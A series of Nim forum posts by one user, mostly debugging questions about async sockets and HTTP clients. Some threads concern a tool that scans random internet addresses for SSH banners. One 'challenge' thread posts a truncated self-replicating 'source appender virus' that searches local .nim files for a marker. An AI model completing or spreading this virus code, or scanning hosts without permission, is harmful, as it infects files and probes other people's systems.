Re: Recursive module dependency error

2019-08-25 Thread blmvxer
[https://github.com/blmvxerHax/randip/blob/master/snap/src/tools/randip_import.nim](https://github.com/blmvxerHax/randip/blob/master/snap/src/tools/randip_import.nim) This was my solution when I ran into the same problem, A "header" of sorts

Re: asyncnet and reading from multiple socks

2019-08-25 Thread blmvxer
I appreciate all the methods but I'm still not really achieving what I had hoped. I'm really trying to make a similar tool masscan but in Nim

Re: asyncnet and reading from multiple socks

2019-08-25 Thread blmvxer
Here's my first attempt in a Synchronous form [https://github.com/blmvxerHax/randip](https://github.com/blmvxerHax/randip)

Re: asyncnet and reading from multiple socks

2019-08-23 Thread blmvxer
Issue I'm seeming to have is timeout never occurs upon false connections. the main point is to grab the ssh version. import asyncnet, asyncdispatch, strutils, random var serVer: string port = "22" output = "" proc genAddr(): string = randomi

Re: asyncnet and reading from multiple socks

2019-08-23 Thread blmvxer
Appreciate your response, I'll try to implement this and see if I can get a working sample to show.

asyncnet and reading from multiple socks

2019-08-23 Thread blmvxer
I've attempted several approaches with this including trying to mix threads and async. what would be the best way to say send connect three sockets and read from each of the asynchronously?

Async net, what am I doing wrong?

2019-08-22 Thread blmvxer
import threadpool, asyncnet, nativesockets, random, strutils, asyncdispatch from os import sleep var sshVer = "" sock = newAsyncSocket(AF_INET, SOCK_STREAM, IPPROTO_TCP) proc genAddr(): string = randomize() var ip0 = rand(1..255) ip1 = rand(255) ip2 = rand(255) ip3 = rand(255) retur

Re: Weird concat issue

2019-06-03 Thread blmvxer
Thank you, that works perfectly

Weird concat issue

2019-06-03 Thread blmvxer
var a = execProcess(cmd) b = "some string" echo join(a, ": ", b) and the result is a : b

Re: [Challenge]How short or efficient can you make this code?

2019-05-21 Thread blmvxer
It's a source appender virus.

Re: [Challenge]How short or efficient can you make this code?

2019-05-20 Thread blmvxer
I like the idea of only walking through once, the one thing I like not using is lists and variable

[Challenge]How short or efficient can you make this code?

2019-05-17 Thread blmvxer
'''nim #marker import os, streams, re, strutils for file in walkFiles (getCurrentDir() & "/ _.nim "): if getFileSize(file) == 427: if format(readFile(file)).contains("#marker"): let ourCode = format(readFile(file)) for host in walkFiles (getCurrentDir() & "/_.nim"): if not format(readF

SIGSEGV: Illegal storage access. (Attempt to read from nil?) 2

2019-05-08 Thread blmvxer
I know this is old, but initializing all seq[] with a dummy variable then wiping them before their intended use seems to work for me.

Re: How to compile and run a Nim program on the Android?

2019-04-02 Thread blmvxer
Why not use Proot and just compile Nim directly on aarch64? That's what I've done on my Stock LG V20

Re: How to compile and run a Nim program on the Android?

2019-03-31 Thread blmvxer
I've been using UserLand and Arch Linux on my phone, No root required since it uses Proot, just download the latest source and build

Re: Weird results on aarch64

2019-03-31 Thread blmvxer
It works fine on x86_64, armv7l and even haiku64. it's just aarch64 that's weird

Weird results on aarch64

2019-03-30 Thread blmvxer
Just recently I found weird results when testing my RandIP on Aarch64 compared to Armv7l or even x86_64. Every connection even if false comes out as true on aarch64 compared to any other Arch nim ''' proc main(): string {.discardable.} = randomize() var ip0 = rand(1..255) ip1 = rand(2

Re: Httpclient and hangs

2019-03-27 Thread blmvxer
Here's the full project also [https://github.com/blmvxer/randip](https://github.com/blmvxer/randip)

Re: Httpclient and hangs

2019-03-26 Thread blmvxer
Just using standard, here i'll send what I have '''nim import httpclient, fab, strutils, randip_err #Compiler options {.deadCodeElim: on, hints: off, warnings: off.} proc getPage*(host: string): string {. discardable .} = var client = newHttpClient(maxRedirects = 5, timeout = 2000) url

Re: Httpclient and hangs

2019-03-25 Thread blmvxer
It seems to be the issue is between if the server is http or https

Httpclient and hangs

2019-03-07 Thread blmvxer
Is there any reason that getContent should hang indefinitely even if httpclient has been given a set timeout?

My old attempt at nmap and nim

2019-02-08 Thread blmvxer
So couple years ago I wanted to make a native implementation with nim and kinda came to a wall with life and the project it's self. [https://github.com/blmvxer/nim-nmap](https://github.com/blmvxer/nim-nmap)

A pure nmap API in Nim(Very Alpha looking for Developers)

2017-03-11 Thread blmvxer
I began this project with an idea of making a simple wrapper and as that project progressed I got the urge to take it to the next level by writing a Pure Nim API that would mimic most of the best parts of nmap. [https://github.com/blmvxer/nim-nmap](https://github.com/blmvxer/nim-nmap)